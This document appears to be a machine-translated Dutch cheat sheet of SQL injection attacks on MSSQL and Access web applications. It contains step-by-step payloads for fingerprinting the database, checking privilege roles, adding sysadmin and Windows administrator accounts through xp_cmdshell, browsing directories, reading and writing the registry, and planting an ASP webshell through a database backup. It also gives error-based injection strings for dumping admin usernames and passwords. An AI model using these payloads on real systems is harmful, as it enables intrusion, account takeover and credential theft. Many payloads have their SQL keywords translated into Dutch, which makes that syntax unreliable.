1. Bepalen of er een injectie is ; en 1=1 ; en 1=2
2. Voorlopige beoordeling of het mssql is ; en user>0
3. Beoordeel het databasesysteem ; en (selecteer aantal(*) uit sysobjects)>0 mssql ; en (selecteer aantal(*) uit msysobjects)>0 toegang
4. De injectieparameter is een karakter 'en [querycriteria] en ''='
5. Er zijn geen gefilterde parameters tijdens de zoektocht 'en [querycriteria] en '%25'='
6. Raad de naam van de tafel ; en (selecteer Count(*) uit [tabelnaam])>0
7. Raad het veld ; en (selecteer Count (veldnaam) uit tabelnaam)>0
8. Raad de lengte van het record in het veld ; en (selecteer top 1 len(veldnaam) uit tabelnaam)>0
9. (1) Raad de ASCII-waarde van het veld (toegang) ; en (selecteer top 1 ASC(mid(field name, 1,1)) uit tabelnaam)>0
(2) Raad de ASCII-waarde van het veld (mssql) ; en (selecteer de bovenste 1 unicode(substring(veldnaam,1,1)) uit tabelnaam)>0
10. Testrechtenstructuur (mssql) ; en 1=(selecteer IS_SRVROLEMEMBER('sysadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('serveradmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('setupadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('securityadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('diskadmin')); -- ; en 1=(selecteer IS_SRVROLEMEMBER('bulkadmin')); -- ; en 1=(selecteer IS_MEMBER('db_owner')); --
11. Voeg een account toe voor mssql en het systeem ; exec master.dbo.sp_addlogin gebruikersnaam; -- ; exec master.dbo.sp_password null, gebruikersnaam, wachtwoord; -- ; exec master.dbo.sp_addsrvrolemember sysadmin gebruikersnaam; -- ; exec master.dbo.xp_cmdshell 'netgebruiker gebruikersnaam wachtwoord /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:ja /add'; -- ; exec master.dbo.xp_cmdshell 'netgebruiker gebruikersnaam wachtwoord /add'; -- ; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators gebruikersnaam /add'; --
12. (1) Doorloop de catalogus ; Maak tabel dirs aan (paths varchar(100), id int) ; Vul dirs executive in master.dbo.xp_dirtree 'c:\' ; en (selecteer top 1 paden van dirs)>0 ; en (selecteer top 1 paden uit dirs waar paden niet in zitten ('paden verkregen uit de vorige stap'))>)
(2) De catalogus doorlopen ; maak een tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; Insert Temp Executive master.dbo.xp_availablemedia; -- Alle stroomaandrijvingen ophalen ; Invoegen in temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Krijg een lijst met subdirectories ; Invoegen in temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Haal de directoryboomstructuur op voor alle submappen ; Invoegen in temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Bekijk de inhoud van het bestand
13. Opgeslagen procedures in mssql xp_regenumvalues Registersleutel, kindsleutel ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' geeft alle sleutelwaarden terug in meerdere recordsets xp_regread Root-sleutel, kindsleutel, sleutel-waarde naam ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' geeft de waarde van de set key terug xp_regwrite Root-sleutel, kindsleutel, waardenaam, waardetype, waarde Er zijn twee soorten waardetypen REG_SZ REG_DWORD voor tekentypes en voor gehele getallen ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' naar het register xp_regdeletevalue Root-sleutel, sub-sleutel, waardenaam exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' om een waarde te verwijderen xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' om de sleutel te verwijderen, inclusief alle waarden onder die sleutel
14. MSSQL Backup maakt een webshell aan Gebruik Model maak table cmd (STR-afbeelding); invoegen in cmd(str)-waarden ('<% Dim oScript %>'); back-up databasemodel naar schijf='c:\l.asp';
15. ingebouwde MSSQL-functies ; en (selecteer @@version)>0 om het versienummer van Windows te krijgen ; en user_name()='dbo' om te bepalen of de aangesloten gebruiker van het huidige systeem SA is ; en (selecteer user_name())>0 Explodeerden de verbonden gebruikers van het huidige systeem ; en (selecteer db_name())>0 om de momenteel verbonden database te krijgen
MSSQL handgeannoteerde databaseovertreding
1. Toon de huidige tabelnaam en kolomnaam Dien "'having 1=1--" in na het injectiepunt om het retourbericht in het Engels te ontvangen, waarin je een tabelnaam en een kolomnaam kunt zien. Dien "group by the listname with with 1=1--" in om een andere kolomnaam te krijgen; Blijf "groeperen" indienen op basis van de lijst met de naam van de blootgestelde tabel, de naam van de blootgestelde tabel. De tweede kolomnaam heeft 1=1--", wat je een andere kolomnaam geeft. Commit op dezelfde manier totdat de pagina geen foutmeldingen meer teruggeeft om alle kolomnamen te krijgen. Trivia: Gewelddadige tabelnamen en kolomnamen worden in combinatie met GROUP BY gebruikt in SQL-statements om conditionele oordelen te maken. Omdat de instructie onvolledig is, geeft de database een foutmelding terug en toont een tabelnaam en een kolomnaam. De basismethode kan alleen de huidige tabel in de database weergeven, en als een tabel veel kolomnamen bevat, is het erg moeilijk om de basismethode te gebruiken.
Ten eerste. Alle databasenamen worden blootgesteld Gebruik de instructie "and 0<>(select count(*) from master.dbo.sysdatabases waarbij name>1 en dbid=[N])" om willekeurige tabelnamen en kolomnamen in de database te tonen, waarbij "[N]" de N-de tabel in de database vertegenwoordigt. Stap 1: Na het injecteren van het punt dient u de volgende instructie in: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", omdat de waarde van dbid van 1 tot 5 ligt, wat door het systeem wordt gebruikt, dus de gebruiker moet het vanaf 6 hebben gebouwd en we hebben de naam ingediend>1, het naamveld is een tekentypeveld, en de getallenvergelijking zal verkeerd zijn, dus na het indienen geeft IE de volgende informatie terug: "Microsoft OLE DB Provider for ODBC Drivers fout ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] zet nvarchar-waarde 'Northwind' om naar datatype int kolom. Op deze manier wordt de waarde van het naamveld blootgesteld, dat wil zeggen, we krijgen een databasenaam "Northwind". Door de waarde van "dbid" te wijzigen, kunnen alle databasenamen worden opgehaald.
en 0<>(selecteer aantal(*) uit master.dbo.sysdatabases waarbij name>1 en dbid=[N])-- Wijzig N zodat alle databasenamen uit 6 worden opgeblazen
Ten tweede. Maak alle tabelnamen in de opgegeven database openbaar Nadat je de databasenaam hebt gekregen, moet je nu alle tabelnamen in de bibliotheek ophalen, de volgende instructie indienen: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", hier is de tabelnaam in de masterdatabase, en de SQL-instructie van de query geeft de waarde van naam terug, en vergelijk deze vervolgens met het getal 0, zodat de waarde van naam wordt blootgesteld. Na het indienen werd de naam van de tafel "'spt_monito" onthuld. Vervolgens worden de andere tabellen blijkbaar gesteld, en wordt de volgende instructie ingediend: "and 0<>(selecteer de naam top 1 uit master.dbo.sysobjects waarbij xtype='U' en naam niet in('spt_monito')), en een andere tabel genaamd "cd512" wordt blootgesteld. Bestand "en naam niet in(' spt_monito',' CD512',..))" Je kunt alle tafelnamen vinden.
en 0<>(selecteer de bovenste naam 1 uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U')-- en 0<>(selecteer de top 1 naam uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U' en naam niet in('[Exploded table name]'))-- en 0<>(selecteer de top 1 naam uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U' en naam niet in('[Explosieve tabelnaam]', '[Explodeerde tweede tabelnaam]')))--
4. Maak alle kolomnamen in de opgegeven tabel openbaar en 0<>(selecteer count(*) uit bbs.dbo.sysobjects waarbij xtype='U' en name='admin' en uid>(str(id))) Zet de ID-waarde om naar een tekentype en vergelijk deze vervolgens met een geheel getal. Het ID-nummer is eruit. De waarde is: 949578421 naam='tabelnaam'
en 0<>(selecteer de naam top 1 uit wutong.dbo.syscolumns waarbij id=949578421)-- Een veldnaam in de beheertabel wordt blootgesteld
opnieuw verzenden en 0<>(selecteer de bovenste naam 1 uit wutong.dbo.syscolumns waarbij id=949578421 en naam niet in('adduser')))-- Bestand "en naam niet in(' spt_monito',' CD512',..))" Je kunt alle veldnamen vinden in de beheer-tabel.
en 0<>(selecteer count(*) uit [specificeer databasenaam].dbo.sysobjects waarbij xtype='U' en name='[Tabelnaam van het veld dat explodeert]' en uid>(str(id)))--De ID-waarde van de tabelnaam van het veld dat explodeert
en 0<>(selecteer de bovenste 1-naam uit [specificeer databasenaam].dbo.syscolumns waarbij id=geëxplodeerde id-waarde)-- De naam van een veld in de exploderende id-waarde tabel
en 0<>(selecteer de bovenste naam 1 uit [specificeer databasenaam].dbo.syscolumns waarbij id=Explosieve id-waarde en naam niet in('[Exploded field name]')))--
5. Lees de gegevens in de gespecificeerde tabel
en 0<(selecteer A_ID van wutong.dbo.admin waar A_UserID>1) -- de inhoud die A_PWD
en 0<(selecteer [een veld dat bestaat] uit [specificeer databasenaam].dbo.[tabelnaam naar query] waarbij [veldnaam om inhoud te laten exploderen]>1)--
en 0<(selecteer A_ID van wutong.dbo.admin waar A_PWD>1 en A_UserID='admin')-- Het wachtwoord van de admin wordt onthuld
en 0<(Selecteer Top 1 A_UserID VAN admin waar A_ID<>1)-- De naam van de beheerder id<>1 (fuhao)
en 0<(Selecteer Top 1 A_UserID VAN admin waar A_ID <>1 en A_UserID <> 'fuhao')-- De naam van de tweede admin <> niet gelijk aan (tuiguang)
en 0<(Selecteer Top 1 A_UserID VAN admin waar A_ID <>1 en A_UserID <> 'fuhao' en A_UserID <> 'tuiguang')--
Nadat je de tabelnaam en kolomnaam van de database kent, kun je de "query-instructie" gebruiken om alle informatie in de database te lezen. Als je bijvoorbeeld de N-de data in een kolom in een tabel wilt lezen, kun je de instructie indienen: "en (Selecteer de naam van de Top 1-kolom UIT de tabelnaam waarbij id=[N])>1" ([N] vertegenwoordigt de N-de data in de kolom), en je kunt de gewenste data kennen uit de informatie die door IE wordt teruggegeven.
|